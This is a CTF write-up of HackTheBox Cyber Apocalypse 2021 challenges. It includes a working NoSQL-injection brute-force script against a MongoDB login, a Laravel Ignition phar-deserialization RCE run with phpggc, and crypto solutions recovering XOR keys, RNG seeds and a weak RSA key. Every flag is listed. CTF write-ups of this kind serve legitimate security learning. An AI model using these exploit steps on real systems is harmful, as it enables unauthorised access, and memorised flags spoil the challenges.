HackTheBox CTF Writeup
HackTheBox Cyber Apocalypse 2021 CTF was an event hosted online.
0x90skids recently competed in the competition.
HackTheBox Cyber Apocalypse 2021 CTF was an event hosted online.
0x90skids recently competed in the competition.
Categories
Web
Wild Goose Hunt
Solved By: Bib
Points: 300
Flag: CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}
Challenge
Outdated Alien technology has been found by the human resistance. The system might contain sensitive information that could be of use to us. Our experts are trying to find a way into the system. Can you help?
Solution
I first checked the challenge page. I was greeted with a login screen :
After looking at the login screen a little bit, I went ahead and looked at the challenge’s downloadable source code. I saw that this challenge was using MongoDB and that the flag was the admin password. This means that we need to either get inside the database or login using a NoSQL injection. I’ve tried different payloads using Burp and finally got one that worked :
The working payload was found via an article on (HackTricks). This article also shows a script that brute-force each character (username or password) using regex. I modified this script to fit the challenge. Here’s my final script :
import requests, string, json, sys
url = "http://178.62.14.240:32507/api/login"
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password():
print("Bruteforcing password... Please wait!")
params = {"username":"admin", "password[$regex]":""}
password = "^CHTB{"
print(password[1:].replace("\\", ""))
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, verify=False, allow_redirects=False)
data_raw = json.loads(pr.text)
data = json.dumps(data_raw, indent=2)
if "Login Successful" in data:
password += c
print(password[1:].replace("\\", ""))
break
if c == possible_chars[-1]:
print("Found password : "+password[1:].replace("\\", ""))
get_password()
Here’s the output from my script :
Bruteforcing password... Please wait!
CHTB{
CHTB{1
CHTB{1_
CHTB{1_t
CHTB{1_th
CHTB{1_th1
CHTB{1_th1n
CHTB{1_th1nk
CHTB{1_th1nk_
CHTB{1_th1nk_t
CHTB{1_th1nk_th
CHTB{1_th1nk_the
CHTB{1_th1nk_the_
CHTB{1_th1nk_the_4
CHTB{1_th1nk_the_4l
CHTB{1_th1nk_the_4l1
CHTB{1_th1nk_the_4l1e
CHTB{1_th1nk_the_4l1en
CHTB{1_th1nk_the_4l1ens
CHTB{1_th1nk_the_4l1ens_
CHTB{1_th1nk_the_4l1ens_h
CHTB{1_th1nk_the_4l1ens_h4
CHTB{1_th1nk_the_4l1ens_h4v
CHTB{1_th1nk_the_4l1ens_h4ve
CHTB{1_th1nk_the_4l1ens_h4ve_
CHTB{1_th1nk_the_4l1ens_h4ve_n
CHTB{1_th1nk_the_4l1ens_h4ve_n0
CHTB{1_th1nk_the_4l1ens_h4ve_n0t
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_u
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_us
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_use
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0n
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}
Found password : CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}
Bingo! Interesting challenge that helped me understand NoSQL auth bypass techniques.
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}
DaaS
Solved By: stoned_newton
Flag: CHTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633}
Challenge
We suspect this server holds valuable information that would further benefit our cause, but we’ve hit a dead end with this debug page running on a known framework called Laravel. Surely we couldn’t exploit this further.. right?
Solution
We can use the RCE attack : https://www.ambionics.io/blog/laravel-debug-rce
We get the exploit script.
$ wget https://raw.githubusercontent.com/ambionics/laravel-exploits/main/laravel-ignition-rce.py
We will also need to git this repo to prepare our payload:
$ git clone https://github.com/ambionics/phpggc.git
Prepare paylod and run it :
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -o ./exploit.phar --fast-destruct monolog/rce1 system id
$ python3 laravel-ignition-rce.py http://138.68.147.93:31474/ ./exploit.phar
See the result:
+ Log file: /www/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=1000(www) gid=1000(www) groups=1000(www)
--------------------------
+ Logs cleared
Ok now lets see what files we have.
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -o ./exploit.phar --fast-destruct monolog/rce1 system ls
favicon.ico
index.php
robots.txt
storage
web.config
Nothing…. Lets try root directory.
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -o ./exploit.phar --fast-destruct monolog/rce1 system 'ls /'
bin
boot
dev
entrypoint.sh
etc
flagNdZ3O
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www
Bingo!
Get the flag : CHTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633}
Crypto
PhaseStream 2
Solved By: stoned_newton
Flag: CHTB{n33dl3_1n_4_h4yst4ck}
Challenge
The aliens have learned of a new concept called “security by obscurity”. Fortunately for us they think it is a great idea and not a description of a common mistake. We’ve intercepted some alien comms and think they are XORing flags with a single-byte key and hiding the result inside 9999 lines of random data, Can you find the flag?
Solution
We know the prefix of the flag CHTB. We can brute force the single-byte key to find one that will result in XORing the known prefix and we do that for each 10000 lines of data.
with open('output.txt') as f:
data = f.readlines()
for line in data:
line = bytes.fromhex(line.rstrip())
for key in range(255):
if key ^ line[0] == 67:
if key ^ line[1] == 72:
if key ^ line[2] == 84:
if key ^ line[3] == 66:
print("got CHTB")
answer = ''
for i in range(len(line)):
answer += chr(key ^ line[i])
print(answer)
PhaseStream 3
Solved By: stoned_newton
Flag: CHTB{r3u53d_k3Y_4TT4cK}
Challenge
The aliens have learned the stupidity of their misunderstanding of Kerckhoffs’s principle. Now they’re going to use a well-known stream cipher (AES in CTR mode) with a strong key. And they’ll happily give us poor humans the source because they’re so confident it’s secure!
Solution
Resolved using https://github.com/CameronLonsdale/MTP.
mtp output.txt
PhaseStream 4
Solved By: stoned_newton
Flag: CHTB{stream_ciphers_with_reused_keystreams_are_vulnerable_to_known_plaintext_attacks}
Challenge
The aliens have learned the stupidity of their misunderstanding of Kerckhoffs’s principle. Now they’re going to use a well-known stream cipher (AES in CTR mode) with a strong key. And they’ll happily give us poor humans the source because they’re so confident it’s secure!
Solution
Using MTP tool : https://github.com/CameronLonsdale/MTP
We can guess the words in the test quote with a little bit of patience and the free dictionary.
I alone cannot change the world, but I can cast a stone across the water to ma[ny ripples]
SoulCrabber
Solved By: stoned_newton
Flag: CHTB{mem0ry_s4f3_crypt0_f41l}
Challenge
Aliens heard of this cool newer language called Rust, and hoped the safety it offers could be used to improve their stream cipher.
Solution
This challenge use a Random NUmber Generator for which we know the seed 13371337. Each letter of the flag as been XOR with a single-byte number generated by our RNG.
Knowing the seed we can generate the single-byte keys:
use rand::{Rng,SeedableRng};
use rand::rngs::StdRng;
fn main() -> std::io::Result<()> {
let seed = 13371337;
let mut rng = StdRng::seed_from_u64(seed);
let mut i = 0;
while i < 29 {
let kek : u8 = rng.gen::<u8>();
println!("{}", kek);
i = i + 1;
}
Ok(())
}
We can know decipher the flag in out.txt using the keys.
import random
key = [88, 17, 64, 198, 160, 251, 74, 26, 178, 163, 56, 85, 137, 126, 94, 188, 38, 83, 116, 2, 190, 130, 239, 11, 12, 99, 232, 148, 14]
with open('out.txt') as f:
cipher = f.read()
m = ''
cipher = bytes.fromhex(cipher)
for i in range(len(key)):
m += chr(cipher[i] ^ key[i])
print(m)
SoulCrabber 2
Solved By: stoned_newton
Flag: CHTB{cl4551c_ch4ll3ng3_r3wr1tt3n_1n_ru5t}
Challenge
Aliens realised that hard-coded values are bad, so added a little bit of entropy.
Solution
The seed know is an unknown UNIX timestamp. We can however try to find this easily by brute forcing it and using or knowledge of the flag prefix CHTB{.
use rand::{Rng,SeedableRng};
use rand::rngs::StdRng;
use std::time::SystemTime;
fn main() -> std::io::Result<()> {
let mut seed = SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.expect("Time is broken")
.as_secs();
let mut rng = StdRng::seed_from_u64(seed);
let mut kek : u8 = rng.gen::<u8>();
while seed > 0 {
seed = seed -1;
rng = StdRng::seed_from_u64(seed);
kek = rng.gen::<u8>();
// C
if kek ^ 65 == 67 {
kek = rng.gen::<u8>();
// H
if kek ^ 138 == 72 {
kek = rng.gen::<u8>();
// T
if kek ^ 81 == 84 {
kek = rng.gen::<u8>();
// B
if kek ^ 117 == 66 {
kek = rng.gen::<u8>();
// {
if kek ^ 195 == 123 {
println!("seed {}", seed);
rng = StdRng::seed_from_u64(seed);
let mut i = 0;
while i < 41 {
let kek : u8 = rng.gen::<u8>();
println!("{}", kek);
i = i + 1;
}
}
}
}
}
}
}
Ok(())
}
Once we have determine the seed, we print the values of the key. We can then use it to decipher the flag in out.txt.
import random
key = [2, 194, 5, 55, 184, 239, 195, 184, 41, 154, 152, 79, 129, 101, 59, 169, 61, 68, 66, 14, 58, 53, 237, 162, 40, 203, 100, 167, 128, 139, 123, 16, 194, 119, 212, 84, 40, 213, 80, 236, 122]
with open('out.txt') as f:
cipher = f.read()
m = ''
cipher = bytes.fromhex(cipher)
for i in range(len(key)):
m += chr(cipher[i] ^ key[i])
print(m)
Low Energy Crypto
Solved By: stoned_newton
Flag: CHTB{5p34k_fr13nd_4nd_3n73r}
Challenge
Aliens are using a human facility as a storage unit. The owners of the facility said their access credentials stopped working, but it’s based on Bluetooth LE. We managed to install a Bluetooth LE sniffer close to the entrance, and captured some packets. Can you manage to get the access credentials from this capture?
Solution
This challenge give us a .pcapng to examine. We can start by openig it with wireshark. The sniffer is capturing Bluetooth LE communication. We can then filter to only show ATT (The Attribute Protocol) packets and reduce the noise.
We filter to get only the ATT packet using btl2cap.cid == 0x0004.
We notice a request for a public key. Lets catch it.
-----BEGIN PUBLIC KEY-----
MGowDQYJKoZIhvcNAQEBBQADWQAwVgJBAKKPHxnmkWVC4fje7KMbWZf07zR10D0m
B9fjj4tlGkPOW+f8JGzgYJRWboekcnZfiQrLRhA3REn1lUKkRAnUqAkCEQDL/3Li
4l+RI2g0FqJvf3ff
-----END PUBLIC KEY-----
The format line doesnt tell what type it is. Let’s try to read it as RSA.
$ openssl rsa --text -pubin -in ble.pub
Bingo!
RSA Public-Key: (512 bit)
Modulus:
00:a2:8f:1f:19:e6:91:65:42:e1:f8:de:ec:a3:1b:
59:97:f4:ef:34:75:d0:3d:26:07:d7:e3:8f:8b:65:
1a:43:ce:5b:e7:fc:24:6c:e0:60:94:56:6e:87:a4:
72:76:5f:89:0a:cb:46:10:37:44:49:f5:95:42:a4:
44:09:d4:a8:09
Exponent:
00:cb:ff:72:e2:e2:5f:91:23:68:34:16:a2:6f:7f:
77:df
512 bits is not big for RSA. Can we factorize this?
Modulus=A28F1F19E6916542E1F8DEECA31B5997F4EF3475D03D2607D7E38F8B651A43CE5BE7FC246CE06094566E87A472765F890ACB4610374449F59542A44409D4A809
Success! https://www.alpertron.com.ar/ECM.HTM
8513 909239 276702 310463 241660 208946 735793 173678 202359 843895 330781 205141 862524 433952 199829 179032 817317 799281 688615 001183 017023 849565 598840 210953 921231 104009 (154 digits) = 92270 847179 792937 622745 249326 651258 492889 546364 106258 880217 519938 223418 249279 (77 digits) × 92270 847179 792937 622745 249326 651258 492889 546364 106258 880217 519938 223418 258871 (77 digits)
Back to Wireshark there is a blob message. Maybe our text to decipher?
392969b018ffa093b9ab5e45ba86b4aa070e78b839abf11377e783626d7f9c4091392aef8e13ae9a22844288e2d27f63d2ebd0fb90871016fde87077d50ae538
Lets decipher this:
from Cryptodome.Util.number import bytes_to_long, long_to_bytes, inverse
from sage.all import *
N = 'A28F1F19E6916542E1F8DEECA31B5997F4EF3475D03D2607D7E38F8B651A43CE5BE7FC246CE06094566E87A472765F890ACB4610374449F59542A44409D4A809'
N = bytes.fromhex(N)
N = bytes_to_long(N)
p = 92270847179792937622745249326651258492889546364106258880217519938223418249279
q = 92270847179792937622745249326651258492889546364106258880217519938223418258871
e = '00:cb:ff:72:e2:e2:5f:91:23:68:34:16:a2:6f:7f:77:df'.replace(':', '')
e = bytes.fromhex(e)
e = bytes_to_long(e)
print(e)
assert(N == p*q)
c = "392969b018ffa093b9ab5e45ba86b4aa070e78b839abf11377e783626d7f9c4091392aef8e13ae9a22844288e2d27f63d2ebd0fb90871016fde87077d50ae538"
c = bytes.fromhex(c)
c = bytes_to_long(c)
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, N)
print(long_to_bytes(m))